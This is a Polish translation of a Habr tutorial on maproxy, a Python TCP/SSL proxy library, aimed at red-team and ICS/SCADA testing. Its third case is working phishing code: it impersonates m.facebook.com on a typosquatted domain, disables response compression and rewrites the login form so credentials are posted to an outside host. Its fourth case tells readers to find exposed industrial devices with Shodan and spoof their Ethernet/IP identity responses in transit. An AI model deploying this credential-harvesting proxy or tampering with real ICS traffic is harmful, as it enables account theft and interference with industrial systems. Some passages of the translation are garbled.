Tłumaczenie artykułu zostało przygotowane w przeddzień rozpoczęcia kursu
Adnotacja
Różnorodne rodzaje ocen bezpieczeństwa, począwszy od regularnych testów penetracyjnych i operacji Red Team po hakowanie urządzeń IoT/ICS i SCADA, obejmują pracę z binarnymi protokołami sieciowymi, czyli zasadniczo przechwytywanie i modyfikowanie danych sieciowych między klientem a celem. Podsłuchiwanie ruchu sieciowego nie jest trudnym zadaniem, ponieważ mamy narzędzia takie jak Wireshark, Tcpdump czy Scapy, ale modyfikacja wydaje się być zadaniem bardziej pracochłonnym, ponieważ będziemy musieli mieć jakiś interfejs do odczytu danych sieciowych, filtrowania ich i zmiany przesyłaj je na bieżąco i wysyłaj z powrotem do hosta docelowego niemal w czasie rzeczywistym. Ponadto idealnie byłoby, gdyby takie narzędzie mogło automatycznie współpracować z wieloma połączeniami równoległymi i można je było dostosowywać za pomocą skryptów.
Pewnego dnia odkryłem narzędzie o nazwie
dokumentacja szybko mi to wyjaśniła maproxy
- właśnie to czego potrzebuje. Jest to dość prosty, wszechstronny i łatwy w konfiguracji serwer proxy TCP. Przetestowałem to narzędzie na kilku dość złożonych aplikacjach, w tym na urządzeniach ICS (które generują wiele pakietów), aby sprawdzić, czy poradzi sobie z wieloma połączeniami równoległymi i narzędzie działało dobrze.
W tym artykule zapoznasz się z przetwarzaniem danych sieciowych w locie za pomocą maproxy
.
Przegląd
Narzędzie maproxy
opiera się na Tornado, popularnym i dojrzałym asynchronicznym frameworku sieciowym w Pythonie.
Generalnie może pracować w kilku trybach:
TCP:TCP
– nieszyfrowane połączenia TCP;TCP:SSL
иSSL:TCP
– z szyfrowaniem jednokierunkowym;SSL:SSL
– szyfrowanie dwukierunkowe.
Przychodzi jako biblioteka. Aby szybko rozpocząć, możesz użyć przykładowych plików odzwierciedlających główny
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Przypadek 1 – prosty dwukierunkowy serwer proxy
Oparte na tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Domyślnie ProxyServer()
pobiera dwa argumenty – lokalizację połączenia i port docelowy. server.listen()
przyjmuje jeden argument - port do nasłuchiwania połączenia przychodzącego.
Wykonywanie skryptu:
# python tcp2tcp.py
Aby uruchomić test, połączymy się z lokalnym serwerem SSH za pośrednictwem naszego skryptu proxy, który nasłuchuje 2222/tcp
port i łączy się ze standardowym portem 22/tcp
Serwery SSH:
Baner powitalny informuje, że nasz przykładowy skrypt pomyślnie pośredniczył w ruchu sieciowym.
Przypadek 2 – modyfikacja danych
Kolejny skrypt demonstracyjny logging_proxy.py
idealny do interakcji z danymi sieciowymi. Komentarze w pliku opisują metody klas, które możesz modyfikować, aby osiągnąć swój cel:
Najciekawsze jest tutaj:
on_c2p_done_read
– do przechwytywania danych na drodze od klienta do serwera;on_p2s_done_read
- odwrócone.
Spróbujmy zmienić baner SSH, który serwer zwraca klientowi:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Wykonaj skrypt:
Jak widać klient został wprowadzony w błąd gdyż zmieniono dla niego nazwę serwera SSH na «DumnySSH»
.
Przypadek 3 – prosta strona phishingowa
Istnieją nieograniczone możliwości wykorzystania tego narzędzia. Tym razem skupmy się na czymś bardziej praktycznym ze strony operacji Red Team. Naśladujmy stronę docelową m.facebook.com
i użyj domeny niestandardowej z celową literówką, na przykład m.facebok.com
. Dla celów demonstracyjnych załóżmy, że domena jest zarejestrowana przez nas.
Zamierzamy ustanowić niezaszyfrowane połączenie sieciowe z serwerem proxy naszej ofiary i strumieniem SSL do serwera Facebooka (31.13.81.36
). Aby ten przykład zadziałał, musimy zastąpić nagłówek hosta HTTP i wstawić poprawną nazwę hosta, a także wyłączymy kompresję odpowiedzi, abyśmy mogli łatwo uzyskać dostęp do zawartości. Docelowo zastąpimy formularz HTML tak, aby dane logowania były wysyłane do nas zamiast na serwery Facebooka:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/pl/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
W skrócie:
Jak widać, udało nam się zastąpić oryginalną witrynę.
Przypadek 4 – Portowanie Ethernet/IP
Od dłuższego czasu zajmuję się urządzeniami i oprogramowaniem przemysłowym (ICS/SCADA), takimi jak sterowniki programowalne (PLC), moduły I/O, napędy, przekaźniki, środowiska programowania drabinkowego i wiele innych. To etui jest dla tych, którzy lubią industrialne rzeczy. Hakowanie takich rozwiązań wiąże się z aktywną zabawą protokołami sieciowymi. W poniższym przykładzie chciałbym pokazać, jak można modyfikować ruch sieciowy ICS/SCADA.
Aby to zrobić, potrzebujesz:
- Sniffer sieciowy, na przykład Wireshark;
- Ethernet/IP lub po prostu urządzenie SIP, możesz je znaleźć korzystając z usługi Shodan;
- Nasz skrypt opiera się na
maproxy
.
Najpierw przyjrzyjmy się, jak wygląda typowa odpowiedź identyfikacyjna z CIP (Common Industrial Protocol):
Identyfikacja urządzenia odbywa się za pomocą protokołu Ethernet/IP, który jest udoskonaloną wersją protokołu Ethernetu przemysłowego, obejmującego protokoły sterujące, takie jak CIP. Zmienimy podświetloną nazwę identyfikatora widoczną na zrzucie ekranu „NI-IndComm dla Ethernetu” za pomocą naszego skryptu proxy. Moglibyśmy ponownie wykorzystać skrypt logging_proxy.py
i podobnie zmodyfikuj metodę klasy on_p2s_done_read
, ponieważ chcemy, aby na kliencie była widoczna inna nazwa tożsamości.
Kod:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Zasadniczo dwukrotnie poprosiliśmy o identyfikację urządzenia, druga odpowiedź była pierwotna, a pierwsza była modyfikowana na bieżąco.
I ostatni
Moim zdaniem maproxy
Wygodne i proste narzędzie, które jest również napisane w Pythonie, więc wierzę, że Ty też możesz z niego skorzystać. Oczywiście istnieją bardziej złożone narzędzia do przetwarzania i modyfikowania danych sieciowych, ale one też wymagają większej uwagi i zazwyczaj są tworzone pod konkretny przypadek użycia, np. maproxy
możesz szybko wdrożyć swoje pomysły na przechwytywanie danych sieciowych, ponieważ przykładowe skrypty są bardzo przejrzyste.
Źródło: www.habr.com